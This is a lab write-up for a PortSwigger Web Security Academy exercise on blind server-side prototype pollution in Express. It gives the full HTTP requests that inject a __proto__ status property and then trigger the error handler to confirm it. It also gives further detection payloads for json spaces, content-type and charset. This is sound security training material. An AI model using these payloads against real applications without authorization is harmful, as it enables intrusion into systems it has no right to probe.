PortSwigger — 2026.01.10

Detecting Blind Server-Side Prototype Pollution

PortSwigger Server-Side Prototype Pollution (blind detection) medium

Platform: PortSwigger Web Security Academy Vulnerability: Blind Server-side Prototype Pollution Detection Difficulty: Practitioner


Overview

When server-side prototype pollution exists but polluted properties aren’t reflected in responses, you need alternative detection techniques. This lab demonstrates using error handler behavior as a side-channel to confirm pollution.


The Challenge

Unlike the previous lab where isAdmin appeared in responses, this application doesn’t reflect arbitrary properties back. You need to detect pollution through observable side effects.


Detection Technique: Status Code Pollution

Step 1: Inject the Pollution

POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=CiL3bW08wrIseq9OgKJSB9cx23yUmGuP

{
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "sessionId": "CiL3bW08wrIseq9OgKJSB9cx23yUmGuP",
    "__proto__": {
        "status": 599
    }
}

Response (No Reflection)

{
    "username": "wiener",
    "firstname": "Peter",
    "lastname": "Wiener",
    "address_line_1": "Wiener HQ1",
    "address_line_2": "One Wiener Way",
    "city": "Wienerville",
    "postcode": "BU1 1RP",
    "country": "UK",
    "isAdmin": false
}

Note: status is NOT reflected - no direct confirmation of pollution.


Step 2: Trigger an Error to Confirm

Send malformed JSON to force the error handler to execute:

POST /my-account/change-address HTTP/1.1
Host: TARGET.web-security-academy.net
Content-Type: application/json;charset=UTF-8
Cookie: session=CiL3bW08wrIseq9OgKJSB9cx23yUmGuP

{"address_line_1":"Wiener HQ1","sessionId":CiL3bW08wrIseq9OgKJSB9cx23yUmGuP}

Note: Missing quotes around sessionId value makes this invalid JSON.

Error Response (Confirms Pollution)

HTTP/1.1 500 Internal Server Error
{
    "error": {
        "expose": false,
        "statusCode": 599,
        "status": 599,
        "body": "...",
        "type": "entity.parse.failed"
    }
}

Confirmation: The error object inherited status: 599 from the polluted prototype!


Why This Works

  1. Express error handling creates error objects
  2. These objects inherit from Object.prototype
  3. When looking up status property, if not set directly, it inherits from prototype
  4. Our polluted status: 599 gets inherited by error objects
  5. The non-standard 599 code proves the pollution exists

Key Learnings

  1. Blind detection - When properties aren’t reflected, look for side effects
  2. Error handlers as oracles - Force errors to observe polluted properties in error objects
  3. Why 599? - Non-standard HTTP status code that wouldn’t occur naturally, clear signal
  4. Malformed JSON trick - Easy way to trigger JSON parsing errors in Express
  5. Safe testing - Status codes are non-destructive compared to polluting toString or constructor

Other Blind Detection Techniques

1. JSON Spaces

  • Property: json spaces
  • Effect: Response indentation changes

Payload:

"__proto__":{"json spaces":10}

Look for: JSON responses change from compact to 10-space indentation


2. Content-Type

  • Property: content-type
  • Effect: Response header override

Payload:

"__proto__":{"content-type":"text/html"}

Look for: Content-Type header changes from application/json to text/html


3. Charset

  • Property: charset
  • Effect: Encoding errors

Payload:

"__proto__":{"charset":"utf-7"}

Look for: Garbled characters or encoding errors in response


References

  • PortSwigger Server-side Prototype Pollution: https://portswigger.net/web-security/prototype-pollution/server-side
  • PortSwigger Detecting without reflection: https://portswigger.net/web-security/prototype-pollution/server-side#detecting-server-side-prototype-pollution-without-polluted-property-reflection
#prototype-pollution #server-side #blind #error-oracle #express #portswigger #webapp